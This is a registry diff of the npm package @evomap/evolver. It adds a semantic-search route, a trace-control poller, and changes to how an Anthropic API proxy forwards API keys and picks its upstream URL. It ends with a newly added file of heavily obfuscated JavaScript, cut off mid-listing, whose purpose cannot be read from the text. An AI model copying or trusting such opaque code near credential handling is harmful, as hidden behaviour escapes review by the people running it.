@evomap/evolver 1.88.2 → 1.88.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CONTRIBUTING.md +8 -0
- package/README.md +10 -0
- package/index.js +11 -0
- package/package.json +3 -2
- package/src/adapters/scripts/_runtimePaths.js +160 -36
- package/src/config.js +6 -0
- package/src/evolve/guards.js +1 -1
- package/src/evolve/pipeline/collect.js +1 -1
- package/src/evolve/pipeline/dispatch.js +1 -1
- package/src/evolve/pipeline/enrich.js +1 -1
- package/src/evolve/pipeline/hub.js +1 -1
- package/src/evolve/pipeline/select.js +1 -1
- package/src/evolve/pipeline/signals.js +1 -1
- package/src/evolve/utils.js +1 -1
- package/src/evolve.js +1 -1
- package/src/gep/a2aProtocol.js +1 -1
- package/src/gep/assetCallLog.js +30 -2
- package/src/gep/autoDistillConv.js +1 -1
- package/src/gep/autoDistillLlm.js +1 -1
- package/src/gep/candidateEval.js +1 -1
- package/src/gep/candidates.js +1 -1
- package/src/gep/contentHash.js +1 -1
- package/src/gep/conversationSniffer.js +1 -1
- package/src/gep/crypto.js +1 -1
- package/src/gep/curriculum.js +1 -1
- package/src/gep/deviceId.js +1 -1
- package/src/gep/envFingerprint.js +1 -1
- package/src/gep/epigenetics.js +1 -1
- package/src/gep/execBridge.js +1 -1
- package/src/gep/explore.js +1 -1
- package/src/gep/hash.js +1 -1
- package/src/gep/hubFetch.js +1 -1
- package/src/gep/hubReview.js +1 -1
- package/src/gep/hubSearch.js +1 -1
- package/src/gep/hubVerify.js +1 -1
- package/src/gep/learningSignals.js +1 -1
- package/src/gep/memoryGraph.js +1 -1
- package/src/gep/memoryGraphAdapter.js +1 -1
- package/src/gep/mutation.js +1 -1
- package/src/gep/narrativeMemory.js +1 -1
- package/src/gep/openPRRegistry.js +1 -1
- package/src/gep/personality.js +1 -1
- package/src/gep/policyCheck.js +1 -1
- package/src/gep/prompt.js +1 -1
- package/src/gep/recallInject.js +1 -1
- package/src/gep/recallVerifier.js +1 -1
- package/src/gep/reflection.js +1 -1
- package/src/gep/sanitize.js +5 -0
- package/src/gep/schemas/capsule.js +26 -0
- package/src/gep/selector.js +1 -1
- package/src/gep/skillDistiller.js +1 -1
- package/src/gep/solidify.js +1 -1
- package/src/gep/strategy.js +1 -1
- package/src/gep/tokenSavings.js +1 -0
- package/src/gep/workspaceKeychain.js +1 -1
- package/src/proxy/extensions/traceControl.js +1 -0
- package/src/proxy/index.js +60 -9
- package/src/proxy/inject.js +1 -0
- package/src/proxy/lifecycle/manager.js +1 -0
- package/src/proxy/mailbox/store.js +1 -0
- package/src/proxy/router/messages_route.js +57 -8
- package/src/proxy/trace/extractor.js +1 -0
- package/src/proxy/trace/usage.js +1 -0
package/src/proxy/index.js
CHANGED
|
@@ -11,6 +11,7 @@ const { TaskMonitor } = require('./task/monitor');
|
|
|
11
11
|
const { SkillUpdater } = require('./extensions/skillUpdater');
|
|
12
12
|
const { DmHandler } = require('./extensions/dmHandler');
|
|
13
13
|
const { SessionHandler } = require('./extensions/sessionHandler');
|
|
14
|
+
const { TraceControl } = require('./extensions/traceControl');
|
|
14
15
|
|
|
15
16
|
// Lazy via paths.getEvomapPath() — honors EVOLVER_HOME (#114).
|
|
16
17
|
function _defaultDataDir() { return getEvomapPath('mailbox'); }
|
|
@@ -32,6 +33,35 @@ function buildAssetSearchQuery(body = {}) {
|
|
|
32
33
|
return query;
|
|
33
34
|
}
|
|
34
35
|
|
|
36
|
+
// Free-text path: `GET /a2a/assets/semantic-search?q=...` is the hub's vector
|
|
37
|
+
// similarity search. Unlike signal-search it takes ONE natural-language query
|
|
38
|
+
// string (the hub sanitizes it to <=200 chars) rather than a signal-keyword
|
|
39
|
+
// list, so a caller can ask "what asset fits my current situation?" in prose.
|
|
40
|
+
// The situation text rides in `q`; type / limit / fields forward the same way.
|
|
41
|
+
function buildSemanticSearchQuery(body = {}) {
|
|
42
|
+
const query = { q: body.query };
|
|
43
|
+
const csv = (v) => (Array.isArray(v) ? v.join(',') : v);
|
|
44
|
+
if (body.fields != null) query.fields = csv(body.fields);
|
|
45
|
+
if (body.type != null) query.type = body.type;
|
|
46
|
+
if (body.limit != null) query.limit = body.limit;
|
|
47
|
+
return query;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// Pick the hub endpoint for the proxy's `POST /asset/search` contract. A
|
|
51
|
+
// non-empty free-text `query` selects semantic-search (natural-language context
|
|
52
|
+
// match); anything else keeps the signal-keyword path byte-for-byte, so every
|
|
53
|
+
// existing signals-only caller is unaffected.
|
|
54
|
+
function planAssetSearch(body = {}) {
|
|
55
|
+
const q = typeof body.query === 'string' ? body.query.trim() : '';
|
|
56
|
+
if (q) {
|
|
57
|
+
return {
|
|
58
|
+
path: '/a2a/assets/semantic-search',
|
|
59
|
+
query: buildSemanticSearchQuery({ ...body, query: q }),
|
|
60
|
+
};
|
|
61
|
+
}
|
|
62
|
+
return { path: '/a2a/assets/search', query: buildAssetSearchQuery(body) };
|
|
63
|
+
}
|
|
64
|
+
|
|
35
65
|
class EvoMapProxy {
|
|
36
66
|
constructor(opts = {}) {
|
|
37
67
|
this.hubUrl = (opts.hubUrl || process.env.A2A_HUB_URL || '').replace(/\/+$/, '');
|
|
@@ -49,6 +79,7 @@ class EvoMapProxy {
|
|
|
49
79
|
this.skillUpdater = null;
|
|
50
80
|
this.dmHandler = null;
|
|
51
81
|
this.sessionHandler = null;
|
|
82
|
+
this.traceControl = null;
|
|
52
83
|
this._started = false;
|
|
53
84
|
}
|
|
54
85
|
|
|
@@ -85,6 +116,14 @@ class EvoMapProxy {
|
|
|
85
116
|
logger: this.logger,
|
|
86
117
|
});
|
|
87
118
|
|
|
119
|
+
this.traceControl = new TraceControl({
|
|
120
|
+
store: this.store,
|
|
121
|
+
logger: this.logger,
|
|
122
|
+
});
|
|
123
|
+
try { this.traceControl.pollAndApply(); } catch (e) {
|
|
124
|
+
this.logger?.warn?.('[proxy] traceControl initial poll failed:', e.message);
|
|
125
|
+
}
|
|
126
|
+
|
|
88
127
|
const getHeaders = () => this.lifecycle._buildHeaders();
|
|
89
128
|
const taskMonitor = this.taskMonitor;
|
|
90
129
|
|
|
@@ -98,16 +137,20 @@ class EvoMapProxy {
|
|
|
98
137
|
try { this.skillUpdater?.pollAndApply(); } catch (e) {
|
|
99
138
|
this.logger?.warn?.('[proxy] skillUpdater.pollAndApply failed:', e.message);
|
|
100
139
|
}
|
|
140
|
+
try { this.traceControl?.pollAndApply(); } catch (e) {
|
|
141
|
+
this.logger?.warn?.('[proxy] traceControl.pollAndApply failed:', e.message);
|
|
142
|
+
}
|
|
101
143
|
},
|
|
102
144
|
});
|
|
103
145
|
|
|
104
146
|
const proxyHandlers = {
|
|
105
147
|
assetFetch: (body) => this._proxyHttp('/a2a/fetch', body),
|
|
106
|
-
// GET (not POST)
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
148
|
+
// GET (not POST). planAssetSearch() picks signal-search vs semantic-search
|
|
149
|
+
// by whether the body carries a free-text `query` or a `signals` list.
|
|
150
|
+
assetSearch: (body) => {
|
|
151
|
+
const plan = planAssetSearch(body);
|
|
152
|
+
return this._proxyHttp(plan.path, null, { method: 'GET', query: plan.query });
|
|
153
|
+
},
|
|
111
154
|
assetValidate: (body) => this._proxyHttp('/a2a/validate', body),
|
|
112
155
|
// ATP passthrough (#460 Bug 2): merchant/consumer flows that used to call
|
|
113
156
|
// hub directly via src/atp/hubClient.js must route through the proxy when
|
|
@@ -134,6 +177,7 @@ class EvoMapProxy {
|
|
|
134
177
|
: this._proxyAnthropic(reqPath, body, opts);
|
|
135
178
|
},
|
|
136
179
|
logger: this.logger,
|
|
180
|
+
traceStore: this.store,
|
|
137
181
|
});
|
|
138
182
|
|
|
139
183
|
const routes = buildRoutes(this.store, proxyHandlers, this.taskMonitor, {
|
|
@@ -304,7 +348,10 @@ class EvoMapProxy {
|
|
|
304
348
|
// can be hot-swapped without restart, matching the EVOMAP_MODEL_*
|
|
305
349
|
// policy in README.
|
|
306
350
|
async _proxyAnthropic(reqPath, body, opts = {}) {
|
|
307
|
-
const
|
|
351
|
+
const injectedUpstreamBaseUrl = process.env.EVOMAP_PROXY_AUTO_INJECTED === '1'
|
|
352
|
+
? process.env.EVOMAP_ANTHROPIC_BASE_URL
|
|
353
|
+
: '';
|
|
354
|
+
const baseUrl = (opts.baseUrl || injectedUpstreamBaseUrl || this._anthropicBaseUrl || '').replace(/\/+$/, '');
|
|
308
355
|
const inbound = opts.inboundHeaders || {};
|
|
309
356
|
const timeoutMs = opts.timeoutMs || 60_000;
|
|
310
357
|
|
|
@@ -320,8 +367,12 @@ class EvoMapProxy {
|
|
|
320
367
|
if (!fwd['x-api-key']) {
|
|
321
368
|
if (process.env.ANTHROPIC_API_KEY) {
|
|
322
369
|
fwd['x-api-key'] = process.env.ANTHROPIC_API_KEY;
|
|
323
|
-
} else
|
|
324
|
-
|
|
370
|
+
} else {
|
|
371
|
+
const upstreamAuthToken = process.env.EVOMAP_ANTHROPIC_AUTH_TOKEN
|
|
372
|
+
|| (process.env.EVOMAP_PROXY_AUTO_INJECTED === '1' ? '' : process.env.ANTHROPIC_AUTH_TOKEN);
|
|
373
|
+
if (upstreamAuthToken) {
|
|
374
|
+
fwd['authorization'] = `Bearer ${upstreamAuthToken}`;
|
|
375
|
+
}
|
|
325
376
|
}
|
|
326
377
|
}
|
|
327
378
|
|
|
@@ -607,4 +658,4 @@ async function startProxy(opts = {}) {
|
|
|
607
658
|
return { proxy, ...info };
|
|
608
659
|
}
|
|
609
660
|
|
|
610
|
-
module.exports = { EvoMapProxy, startProxy };
|
|
661
|
+
module.exports = { EvoMapProxy, startProxy, buildAssetSearchQuery, buildSemanticSearchQuery, planAssetSearch };
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0xb8dfad=_0x20e4;(function(_0x4ea5bb,_0x246359){const _0xeccad1=_0x20e4,_0x245f44=_0x4ea5bb();while(!![]){try{const _0x17d937=-parseInt(_0xeccad1(0x14c,'\x69\x73\x35\x6d'))/(-0x1aac*-0x1+0x1*-0xfc+-0x19af)*(-parseInt(_0xeccad1(0x176,'\x57\x30\x70\x61'))/(0xd73+0x2211+-0x2f82*0x1))+parseInt(_0xeccad1(0x10f,'\x69\x73\x35\x6d'))/(-0x1517+-0x31*-0xa9+-0xb3f)+parseInt(_0xeccad1(0x12a,'\x34\x53\x29\x52'))/(0xa*0x2cf+-0x3af*-0x1+0x1fc1*-0x1)+-parseInt(_0xeccad1(0x141,'\x40\x70\x23\x52'))/(0x2707+-0x8*0x247+-0x14ca)*(parseInt(_0xeccad1(0x124,'\x64\x73\x4a\x48'))/(0x6fb+-0x10cf*0x2+-0x1c7*-0xf))+-parseInt(_0xeccad1(0x16b,'\x6f\x53\x47\x79'))/(0x1f*-0x4a+0x1*0x1491+-0xb94)*(parseInt(_0xeccad1(0x15b,'\x4d\x50\x50\x53'))/(-0x1b0c*0x1+-0x1804+0x3318))+-parseInt(_0xeccad1(0xec,'\x6a\x71\x78\x53'))/(-0x15*0x1d5+-0x460*0x1+0x2ae2)*(parseInt(_0xeccad1(0x13f,'\x31\x51\x74\x24'))/(0x4*0x8fe+-0x182c+-0xbc2))+parseInt(_0xeccad1(0x169,'\x74\x67\x67\x6f'))/(0x1*-0x1f2d+0x7a*-0x1+-0x1fb2*-0x1)*(parseInt(_0xeccad1(0x12f,'\x40\x70\x23\x52'))/(0x3*0xaa3+0x3d2+-0x23af));if(_0x17d937===_0x246359)break;else _0x245f44['push'](_0x245f44['shift']());}catch(_0x30aa9b){_0x245f44['push'](_0x245f44['shift']());}}}(_0x37e4,-0x565b*0x12+-0x90174+0x13f2f7));const _0x238435=(function(){const _0x37b1ba=_0x20e4,_0x565889={'\x77\x63\x44\x4d\x68':function(_0x13706d,_0x3c8abd){return _0x13706d(_0x3c8abd);},'\x55\x71\x76\x4e\x67':function(_0x4eef8b,_0x3f22bc){return _0x4eef8b===_0x3f22bc;},'\x4c\x4e\x4c\x4c\x6f':_0x37b1ba(0x13e,'\x6f\x53\x47\x79'),'\x56\x74\x4b\x74\x63':_0x37b1ba(0x177,'\x48\x2a\x4c\x52'),'\x49\x54\x7a\x62\x6a':function(_0x5cedb0,_0x1d923e){return _0x5cedb0===_0x1d923e;},'\x70\x7a\x51\x63\x6b':function(_0x322883,_0x223ead){return _0x322883===_0x223ead;},'\x47\x64\x65\x6b\x72':_0x37b1ba(0xf3,'\x5e\x6d\x4a\x56')};let _0x4e0c37=!![];return function(_0x21f178,_0xa0e362){const _0xf1842=_0x37b1ba,_0x52ad39={'\x62\x76\x6a\x6d\x6f':function(_0x372433,_0x232c3d){const _0x5ca028=_0x20e4;return _0x565889[_0x5ca028(0x11c,'\x35\x2a\x40\x6e')](_0x372433,_0x232c3d);},'\x45\x44\x77\x6d\x49':function(_0x4faa71,_0x15a8af){return _0x565889['\x55\x71\x76\x4e\x67'](_0x4faa71,_0x15a8af);},'\x58\x42\x4b\x76\x74':_0x565889[_0xf1842(0x101,'\x64\x30\x5a\x40')],'\x5a\x76\x69\x6d\x44':_0x565889[_0xf1842(0x117,'\x28\x51\x74\x6d')],'\x56\x45\x6c\x75\x48':function(_0x5e2044,_0x187a8c){const _0x5b8381=_0xf1842;return _0x565889[_0x5b8381(0x167,'\x52\x59\x2a\x4a')](_0x5e2044,_0x187a8c);}};if(_0x565889[_0xf1842(0x127,'\x5e\x6d\x4a\x56')](_0x565889[_0xf1842(0x144,'\x25\x67\x68\x4d')],_0x565889[_0xf1842(0xf8,'\x33\x26\x28\x6f')])){const _0xc2c6c5=_0x4e0c37?function(){const _0x3a45dd=_0xf1842;if(_0xa0e362){const _0x28f4d4=_0xa0e362[_0x3a45dd(0xf4,'\x48\x2a\x4c\x52')](_0x21f178,arguments);return _0xa0e362=null,_0x28f4d4;}}:function(){};return _0x4e0c37=![],_0xc2c6c5;}else{const _0x189148=_0x52ad39[_0xf1842(0x103,'\x64\x73\x4a\x48')](_0x18e91f,_0x31787e[_0xf1842(0x161,'\x64\x30\x5a\x40')+_0xf1842(0x11b,'\x74\x67\x67\x6f')+'\x4f\x5f\x49\x4e\x4a\x45\x43\x54']||'')[_0xf1842(0xf7,'\x51\x25\x59\x71')]()['\x74\x6f\x4c\x6f\x77\x65\x72\x43'+_0xf1842(0x159,'\x63\x39\x37\x68')]();return _0x52ad39[_0xf1842(0xe9,'\x40\x70\x23\x52')](_0x189148,'\x30')||_0x52ad39[_0xf1842(0x148,'\x5e\x6d\x4a\x56')](_0x189148,_0x52ad39[_0xf1842(0x145,'\x5e\x6d\x4a\x56')])||_0x52ad39[_0xf1842(0x16c,'\x56\x69\x59\x6e')](_0x189148,_0x52ad39['\x5a\x76\x69\x6d\x44'])||_0x52ad39[_0xf1842(0x173,'\x31\x51\x74\x24')](_0x189148,'\x6e\x6f\x6e\x65')||_0x52ad39['\x56\x45\x6c\x75\x48'](_0x189148,'\x6e\x6f');}};}()),_0x3ef229=_0x238435(this,function(){const _0x474f25=_0x20e4,_0x42da31={};_0x42da31['\x71\x51\x78\x70\x6e']=_0x474f25(0xfb,'\x35\x2a\x40\x6e')+_0x474f25(0x154,'\x32\x35\x34\x59');const _0x584499=_0x42da31;return _0x3ef229[_0x474f25(0xfc,'\x32\x6b\x2a\x51')]()[_0x474f25(0x139,'\x57\x30\x70\x61')](_0x474f25(0x175,'\x64\x30\x5a\x40')+_0x474f25(0x131,'\x40\x70\x23\x52'))[_0x474f25(0x14f,'\x32\x35\x34\x59')]()['\x63\x6f\x6e\x73\x74\x72\x75\x63'+_0x474f25(0x123,'\x37\x55\x26\x6c')](_0x3ef229)[_0x474f25(0x104,'\x39\x4c\x45\x52')](_0x584499[_0x474f25(0x16f,'\x57\x30\x70\x61')]);});function _0x37e4(){const _0x49ee69=['\x45\x6d\x6b\x79\x63\x53\x6b\x34\x57\x52\x6a\x2b','\x78\x53\x6b\x41\x57\x36\x48\x47\x73\x75\x53','\x64\x53\x6f\x67\x6c\x78\x70\x63\x53\x47','\x68\x6d\x6f\x69\x6b\x4d\x78\x63\x55\x71','\x57\x37\x4c\x63\x61\x73\x70\x63\x53\x43\x6f\x7a\x61\x76\x69\x4f\x57\x51\x65\x69\x7a\x61','\x7a\x43\x6f\x4e\x44\x75\x4b\x43\x44\x38\x6f\x56\x74\x61','\x70\x38\x6f\x6b\x61\x32\x52\x63\x4b\x61','\x57\x37\x6e\x69\x57\x35\x66\x71\x74\x61','\x6f\x6d\x6b\x75\x7a\x6d\x6b\x34\x64\x49\x5a\x64\x4e\x4a\x53','\x6f\x31\x68\x64\x4f\x31\x75','\x62\x38\x6f\x46\x6f\x65\x78\x63\x55\x43\x6f\x36','\x57\x51\x33\x64\x50\x43\x6f\x6c','\x57\x4f\x68\x64\x49\x43\x6f\x35\x57\x37\x50\x6e','\x57\x52\x50\x30\x57\x35\x58\x66\x75\x4d\x52\x64\x56\x4c\x53','\x57\x52\x52\x64\x4f\x6d\x6b\x4e\x6c\x74\x57','\x57\x50\x76\x41\x6e\x72\x5a\x63\x4e\x4b\x57\x55\x65\x47','\x57\x51\x46\x63\x4f\x6d\x6f\x49\x43\x38\x6f\x47\x77\x43\x6b\x48\x66\x61','\x74\x43\x6f\x39\x41\x47\x62\x43','\x6c\x38\x6b\x4b\x57\x34\x56\x63\x48\x47\x78\x63\x4e\x4a\x47','\x57\x52\x4e\x64\x4b\x53\x6f\x43\x57\x36\x53','\x57\x37\x33\x64\x49\x4e\x39\x57\x57\x52\x6a\x45\x63\x61\x6d','\x67\x6d\x6f\x2b\x57\x34\x34\x31\x78\x43\x6f\x6c\x57\x4f\x53\x71','\x57\x35\x70\x63\x4c\x71\x6a\x72\x57\x4f\x56\x63\x49\x38\x6f\x4f\x46\x57','\x57\x52\x64\x63\x55\x43\x6f\x31\x7a\x38\x6f\x2b\x73\x6d\x6b\x52\x61\x71','\x57\x36\x64\x63\x56\x66\x53','\x7a\x67\x72\x53\x73\x30\x42\x63\x4a\x77\x72\x4e\x62\x71','\x69\x38\x6b\x59\x57\x35\x68\x63\x4a\x62\x74\x63\x4e\x49\x37\x64\x53\x71','\x43\x43\x6f\x42\x79\x61','\x57\x52\x50\x49\x6a\x73\x5a\x63\x53\x61','\x57\x37\x6e\x69\x6b\x61','\x6e\x30\x78\x64\x50\x66\x52\x64\x48\x38\x6b\x6b\x57\x36\x4a\x64\x49\x57','\x57\x37\x76\x53\x7a\x68\x6e\x53\x6a\x6d\x6f\x34\x57\x35\x61\x51\x57\x37\x44\x4b\x67\x61','\x57\x52\x79\x37\x6e\x74\x47\x31\x43\x47','\x44\x38\x6b\x71\x61\x6d\x6b\x4e\x57\x52\x39\x34\x57\x34\x58\x61','\x77\x43\x6b\x6e\x57\x36\x75','\x65\x61\x6d\x78\x44\x75\x56\x63\x4a\x31\x44\x31','\x57\x35\x2f\x63\x4e\x74\x37\x64\x52\x38\x6b\x51\x57\x36\x56\x63\x49\x49\x69\x67\x57\x52\x64\x64\x56\x47','\x42\x4b\x44\x6d\x6d\x43\x6b\x4c\x6d\x58\x7a\x2b','\x57\x34\x78\x63\x48\x73\x68\x64\x56\x71','\x57\x4f\x37\x63\x49\x68\x42\x63\x56\x74\x46\x63\x4a\x38\x6b\x33\x46\x57','\x6e\x43\x6b\x46\x42\x53\x6b\x52\x65\x4a\x4e\x64\x49\x63\x30','\x57\x36\x44\x6c\x72\x71\x34\x57','\x57\x52\x35\x51\x68\x73\x69','\x57\x36\x44\x69\x6b\x63\x37\x63\x4c\x43\x6b\x65\x6f\x65\x43','\x57\x50\x74\x64\x52\x38\x6f\x36\x45\x38\x6b\x49','\x57\x52\x31\x69\x6b\x61\x4e\x63\x48\x6d\x6b\x7a\x69\x4b\x4b','\x57\x4f\x48\x46\x57\x36\x4c\x2f\x79\x30\x30','\x67\x53\x6f\x4e\x79\x43\x6f\x6b\x57\x34\x75\x76\x57\x51\x48\x64\x57\x4f\x4a\x64\x48\x6d\x6f\x65\x57\x50\x54\x5a','\x57\x52\x68\x64\x4c\x77\x5a\x63\x52\x75\x70\x63\x4a\x53\x6f\x63\x57\x4f\x4a\x63\x48\x30\x61\x39','\x57\x50\x6c\x63\x4b\x63\x78\x64\x54\x65\x47','\x57\x4f\x65\x33\x57\x51\x75\x71\x67\x53\x6b\x57\x57\x35\x4c\x79\x57\x35\x71\x75\x57\x34\x4e\x63\x52\x63\x61','\x73\x53\x6b\x45\x57\x36\x76\x47\x71\x57','\x65\x43\x6b\x79\x69\x4d\x6a\x2b\x68\x77\x46\x64\x4c\x53\x6b\x47\x57\x50\x78\x63\x52\x43\x6f\x39\x57\x51\x69','\x57\x4f\x64\x63\x4d\x77\x56\x63\x55\x59\x2f\x63\x48\x43\x6b\x4b\x79\x47','\x57\x35\x2f\x63\x4e\x74\x33\x64\x52\x38\x6b\x4a\x57\x50\x56\x63\x49\x74\x69\x4d\x57\x51\x4a\x64\x4d\x6d\x6f\x4f','\x57\x51\x78\x64\x4d\x53\x6b\x6c\x6b\x73\x6e\x6a\x79\x72\x38','\x57\x4f\x72\x61\x57\x50\x48\x79\x57\x37\x61\x38\x45\x33\x4f','\x65\x57\x70\x64\x52\x6d\x6b\x34\x64\x47','\x57\x50\x6a\x41\x70\x5a\x4e\x63\x52\x57','\x41\x43\x6b\x50\x57\x34\x7a\x45\x7a\x33\x78\x64\x50\x71\x79','\x57\x34\x78\x63\x53\x48\x46\x64\x4c\x4a\x6c\x63\x4d\x38\x6f\x71\x57\x51\x53','\x57\x4f\x39\x43\x61\x59\x6c\x63\x4b\x47','\x57\x37\x33\x63\x4f\x67\x33\x64\x4c\x38\x6f\x6a\x75\x6d\x6b\x5a\x6f\x57','\x57\x35\x33\x64\x4f\x65\x7a\x41\x57\x4f\x6a\x58','\x79\x6d\x6f\x32\x43\x57','\x57\x37\x39\x65\x61\x49\x6c\x63\x54\x43\x6f\x79\x69\x30\x61\x41\x57\x51\x65\x41\x41\x71','\x57\x36\x37\x64\x52\x4c\x78\x63\x54\x58\x44\x65\x57\x4f\x54\x7a\x79\x38\x6b\x65\x57\x50\x35\x57','\x57\x52\x74\x63\x4f\x43\x6f\x55\x79\x53\x6f\x54\x76\x38\x6b\x4b\x63\x71','\x61\x68\x78\x64\x54\x77\x2f\x64\x50\x53\x6b\x4d\x57\x35\x4e\x64\x55\x71','\x7a\x76\x78\x63\x55\x43\x6f\x52\x73\x53\x6f\x4f\x57\x34\x75\x73\x57\x4f\x6e\x63\x57\x35\x39\x68','\x76\x65\x74\x63\x4d\x67\x76\x37','\x57\x4f\x74\x63\x47\x78\x64\x63\x56\x4a\x5a\x63\x4d\x53\x6b\x52\x41\x47','\x41\x38\x6b\x6f\x66\x6d\x6b\x4d\x57\x51\x6e\x56\x57\x34\x44\x42','\x78\x5a\x70\x63\x4a\x74\x38','\x43\x4b\x5a\x63\x4b\x65\x35\x62\x6f\x76\x6e\x53','\x57\x36\x4a\x63\x50\x53\x6b\x36\x57\x50\x46\x64\x56\x38\x6b\x54\x62\x43\x6b\x72','\x57\x52\x68\x64\x50\x38\x6f\x69\x46\x43\x6b\x65\x57\x36\x56\x64\x49\x71','\x57\x37\x37\x64\x53\x43\x6f\x6f\x6f\x6d\x6f\x41\x57\x36\x48\x50\x57\x36\x62\x67','\x57\x51\x7a\x53\x57\x52\x57','\x57\x4f\x46\x63\x55\x53\x6b\x72\x6f\x6d\x6f\x58\x57\x35\x4a\x64\x52\x47','\x65\x4a\x46\x63\x49\x32\x44\x4d\x6d\x32\x66\x73','\x69\x58\x44\x50\x74\x78\x38','\x57\x37\x33\x63\x56\x32\x37\x64\x49\x43\x6f\x38','\x76\x53\x6f\x69\x44\x38\x6b\x74\x69\x57','\x57\x52\x6e\x54\x57\x52\x62\x47','\x57\x4f\x5a\x63\x4c\x43\x6b\x50\x68\x38\x6f\x7a\x57\x37\x44\x41\x57\x36\x6d','\x65\x6d\x6f\x4f\x62\x31\x75\x39\x6a\x6d\x6f\x4b\x43\x71','\x63\x38\x6b\x32\x57\x35\x42\x63\x4a\x48\x75','\x68\x43\x6f\x59\x6b\x32\x53\x44','\x70\x53\x6b\x5a\x57\x37\x46\x63\x48\x47\x64\x63\x4a\x5a\x4e\x64\x4c\x47','\x75\x53\x6f\x33\x57\x36\x47\x4e\x57\x51\x4b\x57\x57\x50\x78\x63\x53\x57','\x57\x35\x46\x63\x4e\x67\x2f\x64\x49\x43\x6f\x44','\x57\x50\x4b\x2b\x57\x36\x5a\x63\x4c\x33\x79','\x57\x4f\x37\x63\x4e\x68\x52\x63\x56\x71','\x57\x34\x5a\x64\x4d\x53\x6b\x70\x65\x38\x6f\x7a\x46\x6d\x6b\x34\x67\x66\x33\x64\x4c\x47','\x57\x50\x75\x6a\x57\x34\x5a\x64\x55\x73\x57','\x68\x43\x6f\x70\x57\x52\x53\x4b\x66\x58\x33\x63\x4a\x73\x72\x5a\x61\x6d\x6f\x43\x57\x35\x70\x63\x50\x57','\x42\x6d\x6b\x63\x57\x34\x61\x6b\x79\x71','\x72\x53\x6f\x53\x75\x38\x6b\x76\x6d\x71','\x57\x51\x74\x63\x47\x43\x6f\x45\x46\x6d\x6f\x56','\x57\x4f\x50\x52\x57\x37\x62\x39\x42\x47','\x7a\x53\x6f\x7a\x57\x52\x4e\x64\x54\x47\x75\x66\x79\x43\x6b\x45','\x57\x52\x61\x51\x70\x73\x75\x39\x42\x57','\x61\x6d\x6b\x48\x78\x53\x6b\x7a','\x7a\x53\x6f\x51\x79\x74\x79\x66','\x63\x43\x6b\x6a\x57\x36\x4a\x63\x56\x74\x4a\x63\x50\x58\x74\x64\x4c\x61','\x46\x43\x6b\x77\x79\x64\x7a\x78\x78\x43\x6b\x71\x63\x61','\x57\x34\x4f\x6b\x57\x37\x4c\x35\x44\x67\x2f\x64\x48\x31\x57','\x6a\x43\x6b\x36\x57\x35\x30','\x57\x51\x56\x64\x51\x68\x33\x63\x54\x6d\x6f\x74','\x57\x4f\x7a\x72\x57\x4f\x31\x66\x57\x37\x79\x37\x44\x67\x43','\x44\x58\x4e\x63\x4c\x63\x66\x67\x66\x65\x35\x45','\x66\x6d\x6b\x36\x72\x6d\x6b\x57\x6d\x68\x46\x63\x4b\x78\x65','\x66\x6d\x6b\x4b\x57\x52\x70\x63\x48\x68\x56\x63\x54\x38\x6b\x48\x57\x4f\x65','\x57\x51\x79\x31\x62\x59\x4f\x2b','\x57\x37\x35\x66\x57\x36\x78\x63\x4b\x67\x34\x50\x57\x34\x68\x63\x49\x47','\x73\x43\x6f\x75\x7a\x64\x58\x73','\x77\x38\x6f\x4f\x71\x73\x6e\x39','\x57\x52\x68\x64\x4c\x77\x2f\x63\x52\x75\x52\x64\x56\x53\x6f\x62\x57\x50\x4a\x63\x50\x31\x47\x42\x57\x52\x4b','\x57\x51\x39\x44\x6a\x71\x78\x63\x47\x57','\x6b\x38\x6b\x53\x57\x34\x56\x63\x48\x71\x34','\x57\x52\x48\x4c\x57\x34\x4c\x79\x76\x67\x33\x64\x53\x75\x79','\x68\x53\x6b\x49\x57\x35\x4a\x63\x48\x5a\x65\x55\x46\x43\x6b\x70\x57\x35\x31\x67','\x70\x38\x6f\x41\x57\x34\x71\x6d','\x6d\x43\x6b\x4b\x73\x43\x6b\x62\x6d\x57','\x76\x38\x6f\x43\x46\x5a\x79','\x57\x50\x37\x64\x4e\x4d\x78\x63\x4f\x43\x6f\x4a\x57\x37\x68\x63\x54\x64\x71','\x65\x53\x6b\x32\x62\x4d\x6d\x46\x74\x53\x6f\x56\x57\x51\x65','\x57\x4f\x68\x63\x53\x6d\x6b\x59\x69\x6d\x6f\x49\x57\x35\x6c\x64\x50\x71\x4f','\x67\x4a\x70\x64\x47\x43\x6b\x62\x6d\x38\x6b\x61\x57\x34\x43\x64','\x57\x52\x5a\x63\x53\x59\x69\x42\x74\x57','\x57\x35\x39\x48\x71\x58\x69\x38','\x6d\x43\x6f\x78\x6f\x33\x4b\x45\x67\x6d\x6f\x45\x72\x71','\x67\x43\x6f\x57\x62\x66\x71\x74','\x57\x4f\x48\x58\x65\x58\x2f\x63\x4f\x47','\x6e\x59\x6d\x59\x76\x77\x75','\x6e\x57\x76\x4b\x78\x4d\x4b\x4c','\x43\x6d\x6f\x55\x57\x4f\x68\x64\x51\x47\x71','\x57\x37\x6e\x79\x57\x35\x76\x4d\x45\x6d\x6f\x6e\x57\x52\x66\x55','\x67\x59\x5a\x64\x4a\x6d\x6b\x44','\x42\x53\x6f\x4c\x43\x4c\x79\x73\x44\x38\x6f\x35\x78\x57','\x57\x50\x4a\x63\x48\x53\x6f\x6a\x77\x43\x6f\x77\x44\x53\x6b\x74\x68\x57','\x6f\x74\x4b\x58\x43\x65\x6d'];_0x37e4=function(){return _0x49ee69;};return _0x37e4();}_0x3ef229();'use strict';const {getProxyToken:_0x475f85,getProxyUrl:_0x407551}=require(_0xb8dfad(0xef,'\x52\x59\x2a\x4a')+_0xb8dfad(0x138,'\x78\x30\x49\x56')+'\x73');function _0x20e4(_0x5c34f4,_0x5944f5){_0x5c34f4=_0x5c34f4-(-0x5*-0xad+0x11e7+-0x7*0x2e9);const _0x2c7647=_0x37e4();let _0x153426=_0x2c7647[_0x5c34f4];if(_0x20e4['\x4f\x49\x58\x73\x70\x64']===undefined){var _0x531e6a=function(_0xf420f2){const 